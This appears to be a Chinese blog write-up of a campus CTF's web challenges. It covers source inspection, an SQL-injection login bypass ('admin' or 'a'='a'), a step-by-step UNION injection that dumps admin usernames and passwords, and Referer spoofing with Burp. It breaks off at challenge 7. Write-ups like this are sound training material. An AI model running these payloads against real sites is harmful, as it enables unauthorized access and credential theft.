记一次校园联赛ctf

web

————————————————————————————————————————————————————————————————————————————————————————————

1.Hello World

打开是一个弹框和一张图片，直接F12查看下，发现注释里有个flag.txt ，地址栏打开这个文件，falg成功得到

2.你做得出来吗？

弹出来个计算器，输入正确数字发现只能一个长度的数字，那就F12选中这个文本框修改长度，成功得到flag

3.账号登录

打开题目是一个账号登录界面，F12一下，发现

结合题目提示是SQLi2，猜想可能于SQL注入有关，使用万能密码直接秒掉

万能密码：

用户名：admin' or 'a'='a

密码随便

成功拿到flag

登录成功！我的座右铭(flag)是iamflagsafsfskdf11223

5.撸猫大作战

打开链接是一个猫舍，地址栏带参数，猜想可能是SQL注入

①找注入点

?id=1 and 1=1 ------ 显示正常
?id=1 and 1=2 ------ 不显示

②猜列数、报显示位

?id=1 order by 2 ------查询了两列
?id=466454 select 1,2 ------将id设为一个不存在的数，看显示位

③查看数据库版本和当前数据库名

?id=132321 union select 1,version() %23
?id=132321 union select 1,database() %23

数据库>5.0,可以使用information_schema进行后续操作。

④得到表名

?id=132321 union select 1,group_concat(table_name) from
information_schema.tables where table_schema=database() %23

根据题意，是得到管理员密码，之后操作admin表

⑤爆字段名

?id=132321 union select 1,group_concat(username) from admin %23

?id=132321 union select 1,group_concat(password) from admin %23

6.你从哪里来？

点开链接

是这玩意，他问你是不是来自谷歌那你就让自己来自谷歌，上burp抓包，改referer

要点：

HTTP_REFERER 编辑
HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，
告诉服务器我是从哪个页面链接过来的，服务器基此可以获得一些信息用于处理。
简而言之，HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，
一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器藉此可以获得一些信息用于处理。
比如从我主页上链接到一个朋友那里，他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
Referer的正确英语拼法是referrer。
由于早期HTTP规范的拼写错误，为了保持向后兼容就将错就错了。
其它网络技术的规范企图修正此问题，使用正确拼法，所以目前拼法不统一。

7.输入密码查看flag

点开链接是一个登陆界面